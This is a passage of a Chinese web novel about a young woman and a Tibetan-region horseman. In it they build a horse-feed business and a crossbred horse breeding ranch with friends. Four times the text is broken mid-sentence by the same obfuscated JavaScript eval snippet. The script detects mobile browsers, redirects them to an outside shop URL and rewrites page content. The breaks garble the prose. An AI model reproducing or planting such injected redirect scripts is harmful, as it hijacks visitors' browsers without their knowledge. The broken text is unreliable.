白玛收起电话,他花了一个上午的时间把这两百袋饲料运到了他租下的院子,也就是库房。 然后他兴冲冲的喊苏曼过来看他的成果。 “你一个人搬的?你咋不叫几个兄弟,该给工钱给工钱嘛!都可以记公司账的啊!” 苏曼真是不可思议,他怎么这么厉害,她想象不到白玛是怎么干活的,能一个人搬两百袋饲料。 “过来!我看看。” 苏曼拉过白玛,白玛稍微往下低一低身子,苏曼看见他的后背和肩膀,全是灰土。 白玛嘿嘿笑着:“这算什么,有一次我跟几个兄弟一天搬了八九百袋青稞呢,一袋八十斤,搬到晚上才搬完。” 苏曼掸着白玛肩上的灰,一边惊呼:“我的天哪!你们是什么人呐!八九百袋!” 都说高原人体格好,强壮,力气大,这下苏曼才真正有了体会。那使不完的力气,简直跟牛一样。 “嘿嘿!年轻人嘛!都是这样。老了就不行了,腰坏的快。” 这边很多三十岁左右的男人,看着就已经很苍老了。他们不能再在马背上做那些“仰卧起坐”的动作,主要还是因为腰不行了。 高原上的农活也好,牧活也好,是最吃力气的。 “那你以后还是悠着点,以后咱们还是雇人吧,不省那点钱。” 苏曼还是有一些心疼白玛。 “姐姐,你心疼我啊?没事的,这是咱们自己的事,我肯定要出力的。” 白玛站直身子,自己也掸了掸,同时一双眼睛又开始盯着苏曼。 “谁心疼你了。以后你还要做好多其他的事情呢,这种体力活,交给别人去做就行了。你要是受伤了,我们的生意都要停了。” 苏曼转过身,看着那一袋袋码的高高的饲料,再次感叹白玛的力气是真牛。 “姐姐,你放心吧,我会照顾好我自己的。明天我要去撒尼乡送饲料,那边的富人多,他们的马很愿意吃饲料呢,主要他们也是图个省事。” “哇!这么快就有生意啦?” “对啊。我一早就跟他们讲好的,饲料一到就给他们送货。我的马也都在吃嘛,他们信的过我的。” 白玛这个养马好手,就是最好的招牌。他说好,他的马吃了好,那就是真的好。大家都会相信他。 “不错不错。” 苏曼转过身,看着白玛,眼里尽是欣赏,白玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068372|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然是从小学就开始做生意赚钱的人。 “白玛,你记得要记账啊!以后你的车加油花了多少钱,货款收了多少钱,都要记好告诉我。我这边找了个财务,公司都要记账的。” “哎!姐姐,你放心吧。” “嗯。” - 白玛早就离开了那个兼职的朗玛厅,但德西却去了那里做服务员,她不想再在村子里无所事事的呆着了。 她又可以每天化妆了。白玛不止一次在社交平台上刷到过她浓妆艳抹,在昏暗灯光下的视频。 德西是漂亮的,但是也是误会了自己的漂亮。她总以为化妆品能让她更美,随着在县上的时间越久,她的妆也开始慢慢精致了起来。 她来到了云上咖啡。 苏曼很惊讶,因为德西不是一个人来的,她还带了一个男孩。 男孩个子很高,穿的很时尚,染着黄色的头发,但是长的还算有些帅,一看就是家里条件不错的样子。 他们一起坐在窗边,德西像个公主一样,被这个男孩子伺候着,她是来展示她的骄傲。 这应该就是她的男朋友了。 苏曼让咖啡师做好咖啡,亲自端了过去。 “德西。” 苏曼跟她打了个招呼。 德西却没有回应她,只是看了她一眼,径自端起咖啡,笑笑的看着自己的男朋友。 苏曼识趣的走开,她还在生她的气。 不过,她开始了她的新生活,苏曼觉得这样挺好。 白玛送完货,急冲冲的走了进来。 “姐姐,今天送了五十包。” 白玛又是一身灰土,头发乱糟糟的,像是刚烫过一样炸在头顶,还真是有些可爱。 苏曼赶紧把眼神从德西那边转移过来,道:“去,上楼洗个手去。” “哎!” 白玛迈着他的大长腿,三步并作两步的跨上了楼梯。 不一会儿就下来了,脸上还湿漉漉的淌着水,头发被他抓到了后面,露出了好看的平直的额头。 他高耸的眉间挂着水珠,眼睫湿润的看着苏曼,苏曼给他扯了几张纸巾,他开始胡乱的在脸上擦着。 苏曼又看了看德西,德西也在看这边,白玛这才往那边看过去,原来是德西。 她对面那个男孩也看了过来,冲着白玛道:“白玛。” 原来他们认识。 这里的男孩子,谁不认识白玛呢。 白玛过去跟那个男孩子打了个招呼,聊了几句,但是没有跟德西说话。 白玛走了回来:“姐姐,那是德西的男朋友。我认识的。” “嗯。我知道。” 苏曼早就看出来了,但白玛还要特意再跟她讲一遍,是想让苏曼不要再去担心德西了。 他自己是从来没有担心过,因为他从来也没给过德西回应。 德西没有曲珍那么多的自信,她只是随波逐流的来到了县上,见识了更多的男生,于是,就有了自己的男朋友。 从村里走出来,到县上做事,也是她们勇敢迈出的第一步。 从村里那个小世界,来到县上这个大世界,见的多了,也就不再执着于某一个人了。 白玛,终于解脱了。 他走进柜台,一笔一笔将今天的帐,一笔一划的用汉字写在本子上。 65. 第65章 次仁正在村子里拍卖草。 他们村今年没有集体割草,而是采取拍卖的形式。 将一片未割的草地划出来,多大面积,多少长势,大家都一眼看的清楚。然后进行拍卖,拍卖后,就由各家自己去收割。 次仁花了一千六百五十元,拍得了一片草地。这些远远不够他们马场的马吃,所以,每年他还需要额外购买一些青稞和饲料。 现在,当然是找白玛了。 白玛跟着苏曼做这个马饲料的生意,真是完全发挥了他的圈子人脉,不说做多大,至少生意是不缺的。 “兄弟,你把饲料明天给我拉过来嘛!我阿爸说先拿一百袋,估计没几天就吃完咯。” “要得嘛!明天给你送。” 上次白玛免费给次仁家马场送了一些试吃,马儿吃的很欢喜,如今白玛正式代理了,给他们的价格也实惠,次仁和阿爸商量,以后饲料就用白玛家的了。 苏曼和白玛早就商量好了,前期少赚一些,先打开市场再说。 这个品牌是苏曼新找回来的,和他们原先吃开的品牌不同,新牌子,总要有个信任的过程。 “姐姐,明天我去次仁家送饲料,一百袋,可能没几天他们就吃完了,要不,我们再定一批过来吧。” 白玛的业务开始的很顺利,那两百袋还没几天就卖的差不多了,主要是前期有一些预定的,再加上次仁家这个大户的支持。 “行,没事,三四天就收到了。” 巴龙县虽然偏远,但是相比省城兰城,路途也只是多了一天。在新时代下,交通物流的通畅,就是他们生意的通畅。 “姐姐,明天你去不去?次仁那?” “去呗。次仁现在可是我们大客户!” 苏曼也没什么事,送货都是白玛在做。她主要是跟厂家那边联系补货、发货、结账的一些事情。 厂家对他们的支持也很大。高原,是养马圣地,对饲料的需求很大。 特别是中低端的饲料,而高端饲料一般都是销往汉地的马术俱乐部,那里面养的都是品种马、名马。 白玛已经打开了一个很好的局面,但是作为一个互联网出身的苏曼来说,她有她另外的一个计划。 所以,次仁那里,是肯定要去的。 - “次仁,曲珍在你们那做的怎么样?” 苏曼一来,就先问曲珍,让次仁楞了好久,她到底在说啥? “什么我们那?” “不是,你们那个县艺术中心啊,曲珍不是在那里做事嘛?” “哦......我又不常去。” 次仁以前是不常去,但是最近他去的多了。 或许是不能猛烈骑马的缘故,骑马便没有了意思。 又或许是马上要搞文艺汇演的缘故,他过去教小朋友的时间也更长了。 他跟曲珍相处,相安无事,不再像以前那样紧张了。曲珍也不会再缠着他,而是自己做着自己的事情。 有时候次仁会看一看她,说上两句,但曲珍再也不会提那些荒唐的“谈恋爱”“处朋友”甚至“结婚”的话了。 白玛和苏曼走的越近,曲珍就越不着急了。 她就这样小心翼翼的守在次仁的身边。 白玛欢快的将饲料搬进次仁马场的库房,次仁也想帮忙,但是白玛拉住了他。 “兄弟,哪能叫你搬,你是我们的大金主呢。我来就行。” 其实白玛是担心次仁的腿。 苏曼坐在马场的帐篷下,唤次仁过来聊天。 “你别管他了,让他搬,他跟牛一样有劲呢。” 苏曼想跟次仁聊另一件事情。 白玛将饲料从车上卸下来,放进推车,推到库房,再又一包包的搬下来码好,他一趟趟的从苏曼和次仁的身边走过,劲头十足。 苏曼:“次仁,听说你二哥是个大网红啊?” 次仁:“哪有什么大网红,小网红还差不多。也就咱们巴龙县有点名气,在外面就不行了,外面那个老打PK的那个,才是大网红呢。” 苏曼:“他粉丝多不多嘛?” 次仁:“还行吧。他经常发我骑马的视频嘛,好多人给他点赞的。” 苏曼:“能不能让他帮我们带货嘛?就是我们的饲料,刚好他又是发马相关的视频。” 次仁:“怎么带啊?” 苏曼:“就是说你们家是吃这个牌子的饲料嘛,类似于这种。然后卖了我们给送货,给他拿提成嘛。” 次仁:“那我问问,他应该感兴趣。” 次仁的二哥长的很帅,有不少女粉丝,在巴龙县很有名。但是他一般发的都是次仁骑马的视频,偶尔会发一发自己的自拍。 自从结婚后,就分家独立出去了,但是也没有在做什么具体的事情,好像只对做网红比较感兴趣,带货倒是很适合他。 苏曼这些天也看了他几场直播,人气不错,就是没什么内容,主要就是跟人连麦聊天,打打PK这个样子。 据说打PK也很挣钱,次仁说的那个外地的大网红就是专门靠打PK在兰城买了房子的。 谁不羡慕当网红?特别是高原上这些喜欢展示自己的小伙子们。 白玛搬完饲料,洗了手走过来,一屁股坐了下来。 “你们在聊什么呢?” 他见苏曼跟次仁聊的火热,心里可是着急,想着赶紧搬完赶紧过来。 “我在请次仁的二哥帮我们带货呢!” 苏曼聊完很是轻松,本地有白玛去跑,网络上的办法,她也想试试。 “哎呀,那好啊。他可是大网红呢。” 次仁看着苏曼笑一笑:“你们咋都说他是大网红,我看他就是自己玩的开心,啥也没干出来。” 不挣钱的网红,大不大的,也没什么用。 “帮我们带货嘛,这不就挺好的。总能干出来的。姐姐,你那个喜虎给我喝一口,我的喝完了,等下再帮你买瓶新的。” “这个我喝过啦!”苏曼心虚的看了一眼次仁, “哎呀,没事,我不怕的。等下给你买瓶新的嘛。我渴死啦!” 白玛就是想喝姐姐的喜虎。 次仁转过头去,不想看他们。 “次仁,我家马准备要配种了,再不配就晚了。你们家马场有什么好马可以借来配一下不?” 白玛嬉皮笑脸的,常规借马配种都是要付费的,配一次大约需要五百到一千的样子,贵的一千五也有,但显然白玛是不想付钱的。 他自家的马去年配过一轮,今年他想换一换,这样生出来的小马,样貌就更多一些了。 母马生过小马后,大概歇个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085344|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一两个月就可以配种了。今年白玛较往年忙些,耽搁了一些日子。 “你自己看嘛,不都在那里嘛?” 次仁知道白玛早就把他家的马看了个溜够,肯定已经有相中的马了,他的眼睛那么毒,什么好马都逃不过他的眼睛。 “白玛,你干嘛不试试配混血马呢?你不是总说混血马要比本地马好一些吗?” 外地马最好,但是不适合在高原生活。 其次是混血马,但是混血马配种比较贵,而且也不方便,大家都还是就近选本地马互相配种的多。 “我也没有品种马啊?配不了啊,人家那些品种马配一次要两三千块钱呢。” 白玛摇着头,似乎大家都不愿意花钱去配品种马的种。 “配一个嘛,我想看看是什么样子的。” 苏曼特别好奇,将两匹不同品种的马配在一起,会生出什么样子的小马,她对这几千块钱到是一点都不敏感。 白玛两眼放光的看着苏曼,她那么想让他配一匹混血马,这让他感到有些兴奋。 “钱走公司出!”苏曼继续补充道, 她真的想让白玛去做这件事。 “那就去趟林孜嘛,我陪你一起去。” 次仁听苏曼这么一说,也很感兴趣,爱马的人,谁会不喜欢呢,白玛也肯定是很心动的。 “我也去!” 苏曼将这件事敲定。白玛不再犹豫,舔着唇,一脸高兴:“行,听姐姐的。” 听姐姐的准没错。这是白玛信奉的道理。 “那到时候你也开一辆车嘛,我们开两辆车去,多配几匹嘛。” 次仁本想去凑个热闹玩一趟,大家坐一辆车开开心心的还能聊个天,谁知白玛却给他安排个事做,可他也没有拒绝的理由。 “那行吧,那我也拉一匹母马过去。” 他们将会带着母马过去,选好公马,然后将母马放在那里,大约配个两三天。 因为需要到第二年母马生仔时,才会知道有没有配上,所以,不管有没有配上,配完都是要给钱的。 “哎哟!兄弟,干脆咱俩一起搞混血马得了,你不是要开马场嘛,咱们一起搞嘛。” 次仁原本要开一个小马场,因为腿受伤了,便不打算开了。如今白玛邀请他做混血马的配种,他一下子还真是有些动心。 做生意这个事情,白玛的脑瓜子还是转的快,这一下子又找到了一位生意伙伴。 “哎!我看行。混血马长的漂亮,个子高,你们要是再训一训的话,肯定能卖个好价钱。” 苏曼觉得白玛想的很好,而且她也很看好次仁,次仁是个靠的住的合伙人。 他有技术,他也懂马,更何况,他还跟白玛很投脾气。 每年马仔出生,每年卖马仔,那可是稳赚的买卖。 何况,这也是白玛和次仁的理想,他们就是喜欢漂亮的马,爱到骨子里的那种。 若是能自己培育出来漂亮的混血马,再亲自调教它,那简直是最幸福、最有成就感的事情了。 “那明天去看看嘛!就当是去考察一下,明天再说嘛。” 次仁虽然没有马上答应,但是已经算是八九不离十了,白玛觉得姐姐真是他的福星。 姐姐来了,复杂的事情,不敢做的事情,怎么就变得这么容易了。 66. 第66章 三个人,带着四匹马兴冲冲的赶往林孜县,这个爱马人的天堂。 第二次来,苏曼换了身行头。 她穿上了白玛妈妈给她买的本地服装,戴上了自己买的那顶羊毛毡帽,虽然看着还不太像,但走在白玛和次仁中间,也没那么扎眼了。 次仁打趣着苏曼:“你是不是以后就当我们巴龙人了?” 这话问的,好像有多重意思,苏曼不敢乱回答。 “这不是为了配合你们嘛,今天你们才是主角。” “姐姐,你才是我们的老板呢。” “是你的,不是我的哈!”次仁反驳道, 白玛嘿嘿一笑,顺手拍个马屁还要被次仁戳穿。 苏曼看了白玛一眼,他的嘴现在是越来越甜了,她都快忘了他之前害羞的模样了。 白玛又把苏曼的包摘了下来,自己娴熟的背在了肩上,次仁瞟了一眼。 苏曼既不好意思,又理所当然。在外面,白玛一直都是这样帮她背包包的。 次仁快步往前走了几步,白玛让苏曼走在中间,他走在最后面。今天人很多,可能是入秋后,大家的活动都变少了的缘故。 看的出来,次仁没有白玛认识的人多,大部分都是跟白玛打招呼的,苏曼不时回头看看路过跟白玛打招呼的人。 次仁双手抱臂径直的往前走,左右一直在看有没有相中的马。 “次仁,你走那么快干嘛?慢慢看嘛。”白玛在后边喊, 次仁回过头,看了一眼苏曼,苏曼小小的夹在中间,一副事不关己的模样,似是来旅游的,不像是来干正事的。 次仁:“苏曼,你不会今天就光指我们两个了吧。” 苏曼:“不然呢,我又不懂。我就是来陪你们的。” 次仁:“你是陪白玛的吧。” 苏曼:“怎么会呢,说好了是陪你们的。” 白玛上前探过头,身子伸过苏曼的肩膀:“姐姐就是来陪我的,怎么啦?要不要帮你把曲珍也叫来。” 次仁斜了白玛一眼,不再说了。 “你看,还是曲珍好使。一说曲珍,次仁就没脾气了。”白玛依然得理不饶人。 三个人在人挤人的马场,还不忘各种打趣,可能这就是三个人一起来的乐趣吧。 “哎!白玛,你看那不是降央家的马吗?” 次仁回过头唤白玛,白玛也看到了,“对啊,他的马怎么卖啦?” 撒尼乡的降央,先前买了一匹汗血外地马,整个巴龙县的人都知道,没有人没见过这匹马,次仁和白玛一眼就认出来了。 只是不知道他已经把马卖掉了,现在竟然又流落到了马市来。 “你等我问问哈!” 次仁掏出手机,给他撒尼乡的兄弟打电话。 三个人站在这匹枣红色的马前停了下来,白玛和苏曼看着次仁在打电话。 “哎!兄弟,那个降央的汗血马是卖了索?我在林孜看到了呢。” “哦,好的好的。知道了。” 次仁挂下电话,道:“不是卖的,他是跟人家换了一匹走马。” 林孜县最出名的就是走马了。而且价格也都不便宜,十几二十万的都有,好的走马都不会便宜。 “这家伙,养了这么久了说换就换。改天我们去看看他那匹走马,肯定也是很牛的。” 白玛一下子对那匹走马又产生了浓厚的兴趣。 降央家在撒尼乡,财力雄厚,算是爱马人群中比较舍得花钱的了,当然,主要还是不差钱。 在苏曼眼里,他们这些人就像玩车的人一样,换马如换车。 但实际上他们也确实是,并不会对一匹喜爱的马一直喜爱。 能养一匹马到老而不卖,那是很少见的。 卖来卖去、换来换去的流转,也是他们的乐趣。 “老板,这匹马好多钱嘛?” 白玛上前问价,苏曼把他的衣角拉了拉,小声道:“咋啦?你还想买啊?你上次那个小黑都没了......” 这外地马可不敢再碰了,十几万说没就没,比赌博还冤。 她曾经问过白玛,外地马在高原存活率大概有多少?是不是都不能适应并且活下来?白玛告诉她五十五十。 也就是:一切皆有可能。 但是,白玛说他们巴龙也有许多活下来的外地马,数量也还不少。 这一匹,就是。 老板悄悄的给白玛报了个价,白玛直摆手:“这匹马我们都知道的嘛,巴龙撒尼乡的嘛,我们都是巴龙的,他是我兄弟,买的时候才十万块,你这一下子涨出去这么多,算了算了。” 白玛嘴里说着算了,人却没有打算要走,苏曼站在旁边,不知道他葫芦里卖的什么药。 次仁上去看看马,拍拍屁股,又摸摸头。苏曼好奇,他们怎么不像电视剧里演的那样,掰开牙口看一看。 但是她没好意思说,在老板面前,不能露怯。 遇到一匹已经在高原上能适应的外地马,不容易。 可能这就是白玛和次仁留恋不走的原因。 因为他们知道,这匹马,一定能活。并且,如果用来做配种的话,再合适不过了。 白玛站了一会儿,终于转头走到一边,把次仁和苏曼叫了过来。 “兄弟,要是我们把你的小马场开起来,做混血马,自己有一匹外地马,比每年跑出来配种要方便的多喽!你们家的母马那么多,再加上我们家的,拉过来多费劲啊,要是我们自己有一匹,一年能成功配上十匹混血马,那也不错咯......” 昨天次仁说“看看再说”,今天看到这匹枣红马,也是走不动道了。 白玛琢磨的与他的想法很对路,只是这十万块上哪搞去,他今天只跟阿爸要了几千块配种的钱。 何况老板还未必十万块能卖。 “你有钱吗?”次仁问道, 白玛想了想,道:“我有三万块现金,但是我可以再卖一匹马嘛。” 次仁没有自己的财产,家里的马都是阿爸的,但是白玛有,他的马都是自己的,而且想卖就能卖。 苏曼也给出了个主意:“要不这样,我们白玛马业跟你一起合开这个马场,白玛跟我各占25%,也就是我们两个占50%,你占50%,我们五十五十一起做怎么样?” “那我要出好多钱嘛?”次仁还是担心这个钱他搞不定, “现在的话,你就只出马场跟母马,我们出种马,就这么定了,等明年马儿生了卖了,我们再把账细算一下。” 苏曼现在也学会了他们这边做生意可以欠钱,以及约定付款时间的做法。 “不过你要跟你阿爸说好,今年你至少要给我们这边留十匹母马。”白玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093545|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充道, 姐姐这么爽快就同意买这匹马了,刚才她还在担忧活不了呢。 看样子,姐姐就像他阿妈一样,他想做的事情,姐姐都会支持。 这下次仁就放心了,他家几十匹母马,跟阿爸要个十匹过来应该问题不大,大不了明年他分的钱再跟阿爸分一下嘛。 最主要的是,他可以慢慢有自己的事业了,他可以自己慢慢独立出来。 将来他们可以用卖马的钱再去买母马配种,而且每年生下来的马仔,也有可能是母马,这样过个三四年,这些长大的母马又可以配种了。 雪球会越滚越大,财富会越来越多。 次仁狠狠的心动了。 “那你现在三万块也不够啊,现在卖马哪来的及。”次仁问白玛, 白玛见次仁答应了,高兴的很:“哎呀,没事的,我先交两万定金嘛,回去把马卖了我们再来拉走,没得事的。” “哎哎哎!不是白玛马业嘛,我也有份啊!白玛你怎么一个人出啦。”苏曼喊道, 昨天是她撺掇白玛要做混血马的,刚才也是想着大家一起做,可白玛好像不好意思喊她拿钱,想自己卖一匹马解决了。 “哎呀,姐姐,我们那个饲料你已经垫款啦,这个马我自己来。” 次仁舔舔唇,双手抱胸,似乎在看着这两个自家人在算账。 “没事,今天咱先把马买回去。你都说了,配种已经晚了,我都迫不及待了,咱还等个啥,今天先买了吧!咱俩的等回头再算,你那饲料不是都卖光了嘛,我还没算账呢。” 能今天就把马拉回去,白玛当然高兴:“次仁,你去讲价,看看能不能十万。多的不买。” “哎哟兄弟,讲价的事,我应该没有你厉害吧?” “哎呀,你先上吧,我后上。反正就是咱们必须十万拿下。” 苏曼在旁噗嗤一笑,白玛又开始用他生意的头脑,设计上了,而次仁也是他设计的一环。 次仁只好听白玛的,上去跟老板讲价,老板当然不让,一来二去,好几轮。苏曼也不想操心那么多了,找了个凳子,坐在一旁。 这事交给白玛就行了。他已经有了价,有了目标,他一定能成功的。 白玛假装在一旁不感兴趣,等着次仁说完就一起走的模样,次仁就在那客气又蹩脚的磨着老板,老板一看这位公子哥就不是老手,死活不肯让价,但又舍不得这位金主。 等聊到老板都叹气了,想卖又不想卖的,白玛上去递了根烟。 “说实话,老板,这匹马在我们巴龙没有人不知道的,都知道这个价格,我们买回去也很难再加价卖的,你也是一样哦!反正我们巴龙来的,你是别指望了,要不是我们认得这匹马,也不会跟你聊嘛!” 老板接过白玛的烟,两人一起抽完,最后看了看次仁无比诚心的样子,当下松了口。 “算了兄弟,这匹马也转了好几手了,确实知道的人也挺多的,也没那个新鲜劲了。就卖给你们了。” 白玛一下抓住了重点。 知道的人越多,价格就越透明,而且,没有新鲜劲了,买回去想嘚瑟一下都没人来看,因为人家早就看过了嘛。 “刷卡行不?今天没带那么多现金,意外嘛,你算是运气好咯!” “要得要得。” 白玛冲苏曼喊道:“老板,刷卡。” 67. 第67章 种马有了,次仁马不停蹄的把原先看好的马场租了下来,当然,是他阿爸拍的板,以及付的钱。 他又要了十匹母马,再加上白玛家的几匹,这匹枣红种马可有的忙了。 一匹马一天最多可以配种三到四次,多了身体也吃不消。 次仁和白玛连着快半个月守在马场,一匹一匹的给母马配种。种马累,他们两个也跟着累。 “哎哟!辛苦了辛苦了。” 白玛拍着种马的屁股,给它倒上饲料又加了几勺青稞,再和上水搅了搅,希望它能吃多点,把身体养的好好的。 “也不知道都配上了没。”次仁道, “过几天再看嘛,不行再多配几次,反正是我们自己家的马。” 白玛虽然更有经验,但是是否能配上,明年肚子是不是一定会大起来,他们一般都是凭经验,或者是听天由命。 没有配上,也是常有的事。 苏曼打来电话,叫他们在马场等她一下,她买了一台兽用B超机,刚去取完快递,正往这边赶来。 哎哟,这个东西,他们以前是想都不敢想的。他们知道有这个东西,可以看马儿是否怀孕,但是那都是兽医那里才有的东西,私人家是没有人有的。 他们觉得这个东西太高级了,根本不敢想,而且,他们也不会用啊。 “白玛,你姐姐玩的大哦!”次仁打趣白玛, 白玛洗完手,坐在那里翘着脚抽烟,脸上美滋滋的。 “姐姐做事情胆子大着呢,她在永京混的可好了,买了那么大个房子,我们两个有福气咯,跟着姐姐做事情。” “那还是你厉害,连人家大房子你都去住了。哈哈。” 次仁继续取笑着白玛,但是又满脸羡慕。至少白玛很勇敢,都直接杀到苏曼家里去了。 他应得的。 “那是。” 白玛回忆他在永京的日子,住在姐姐家的日子,和姐姐一起做饭的日子。啊,好像都不像是真的一样。 他竟然去了永京,竟然还住在姐姐家里,还见到了她的母亲...... 白玛继续抽着他的烟,想着姐姐一路走来的不容易。她现在在巴龙定了居,又和他一起做事业,他一定要努力做事,不辜负姐姐。 “苏曼应该是会用那个B超机吧?不然她怎么会买?” 次仁问白玛,白玛耸耸肩,他也不知道,但是姐姐肯定有办法,他不操心的。 苏曼的车停在了门外,白玛和次仁都走出来迎接,苏曼从车上下来,副驾驶下来的是曲珍。 “曲珍,你怎么跟姐姐在一起?”白玛问道, “曼曼姐今天找我了,让我过来帮忙。” 曲珍没有说太细,因为次仁在,她怕惹次仁不高兴。 “啊,对,我打算让曲珍去学那个B超机,我也忙,没功夫帮你们弄这些,她反正也没事做。” 苏曼扶着曲珍的肩,作为给她的支持。 “她不是做义工嘛,哪有空学这个。这个也不是那么容易能学会的吧。” 次仁倒是没有反对,只是表示质疑。 苏曼:“做哪个不都是做,这有什么不会的,我一会儿就教她。” 反正都是为了和次仁在一起,苏曼就想着正好她可以学B超机,学会了,自然就能天天和次仁在一起了,而且比在县文艺中心做事,离次仁还能更近些。 毕竟,这是次仁自己的事业。那是相当不一样的。 白玛:“姐姐,你连这个都会?” “我哪会这个!一会儿我们大家一起研究研究呗!老板给我发了个视频教学,说是自学就能学会。” “啊。”白玛一听,不亏是姐姐,做啥都那么自信。 次仁:“我们现在也没有怀孕的母马啊,这怎么看?” 苏曼:“哎呀,你咋这么多问题呢,先学着呗,过个十天半个月的不是就能看了嘛。先把机器学会了,手法练起来,到时候再看嘛。” 次仁被苏曼说的有些不好意思了,似乎所有人都信心满满,就他问这问那的各种质疑。 母马从排卵到配种后十天左右就能看出是否怀孕了,正好这段时间,就是曲珍的学习时间,到时候检验一下,就知道了。 尽早知道怀没怀上,就能决定是不是需要再次配种。这样,也就不会浪费一年的时光,去赌一个有没有怀上的结果了。 “就是嘛,你还不相信姐姐嘛!” 白玛把位置让出来,拉着苏曼坐下,又把次仁赶到一边,示意曲珍也坐下。 曲珍这才安下心来。 一开始她还担心会遭到次仁的拒绝,拒绝她和他们一起工作。还好有苏曼,她想,她之前找到苏曼帮忙,是特别对的。 她特别愿意和次仁一起做事情,像曼曼姐一样,成为一个有用的人,能帮助到自己丈夫的人。 她想嫁给次仁,也愿意带着一切过来跟他过日子。 如今次仁有了自己的马场,她比谁都欢喜。何况,还是跟曼曼姐一起合作,她心里更踏实了。 曲珍依然有些拘束,她并腿坐在那里,长裙裹着她的长腿,脚底下露出一双黑色的矮根圆头小皮鞋,这是高原上女孩子最常见的装扮。 次仁盯着那双鞋看了一会儿,终于缓过语气:“行吧。正好我们马场也缺人,你就专门负责打B超吧。” 曲珍抬头看着次仁:“我还能帮你们喂马,搞搞卫生什么的,都可以的。” 打B超也就是配种期会忙一些,其他时间,曲珍也想继续留在马场做事,和次仁在一起。 次仁闪了闪睫,又舔了舔唇,他转过身去,用手撸起长发,扶着额头,询问苏曼: “老板,你觉得呢?我们可是都没有工资的哦。” “我觉得好啊。曲珍说了,她不在乎这个。她在县艺术中心不也是做义工没有工资的嘛。” 曲珍不差这三瓜两枣的,跟次仁一样,平时的花度,也都是家里给,用完了就找家里要,从来也没去外面自己赚钱过。 “哎呀!那太好了嘛!我们人多力量大啊。以后马场的事,就交给曲珍了。我跟次仁负责搞马,曲珍你负责马场,姐姐你负责指挥我们。哈哈!” 白玛越来越灵活的周旋在这几个人之间了,他成功的把次仁挤到了曲珍那边,成功的把姐姐独占了。 “哎!白玛,你现在厉害哦!跟个大老板一样,把我们安排的明明白白的。” 次仁轻踢了一下白玛的腿,白玛假装滑跪,笑着站到了苏曼椅子的后头,把手搭在椅背上,道: “就这么定了!曲珍以后就是我们马场的人了,马场主任!哈哈!” 次仁:“那你是啥?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104817|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白玛:“我?我就是个卖饲料的。哈哈。我们苏老板在这呢。” 苏曼:“去,你可别整这些虚的。” 白玛嘿嘿笑着,他现在比以前阳光了许多。 生活的重担,在苏曼来了以后,都变得轻松了,多一个人支撑,好像日子就一定会越过越好。 曲珍:“我知道,我们乡好多人用你们家的饲料呢。” 白玛:“次仁家马场也用着呢。” 白玛总是提到次仁,叫曲珍不好意思。 次仁就站在她的身边,她低下头,就能看见他的球鞋,她那双没有送出去的A追,不知道以后能不能穿到他的脚上。 “以后我们就是一家人了,好了,歇够了,我们去研究研究那个B超机吧。” 苏曼站了起来,白玛站在她的身后,颠颠脚刚好能看见她的头顶,他调皮的伸手比划了一下苏曼的身高,苏曼转过头来。 “干嘛?” “没干嘛。” 次仁摇摇头,“走不走?” 曲珍也站了起来,她和次仁站在一起,身高刚刚好。次仁看了曲珍一眼,曲珍也看了他一眼,似乎在说:我就跟着你了。 次仁首先往屋里走了去,曲珍跟在后头,白玛跟在苏曼的后头,四个人进屋,要开始研究那台B超机了。 最后,还是苏曼和曲珍两个女孩子在摆弄,两个男孩子坐在一边磕起了瓜子。 “次仁,你这还真不错,以后我跟姐姐可以多来你这。” “肯定要多来啊,这也有你们的份啊。不能叫我一个人管吧。” “什么一个人,这不是给你安排了一个曲珍嘛。” 曲珍转过头来,苏曼抬起头,也笑了笑。这个白玛,现在真是嘴巴溜的很。 “反正最近你得天天过来,配种还没完事呢。” 次仁害怕和曲珍单独在一起。 他竟然也开始害怕了。 “来来来,总得先把种都配上嘛。以后就你们自己弄了啊!我还得忙我的饲料呢。” 配完种,好好养上一年,明年春末夏初,就会是大家收获的时候了。 “好了,我们去找匹马来试试吧。” 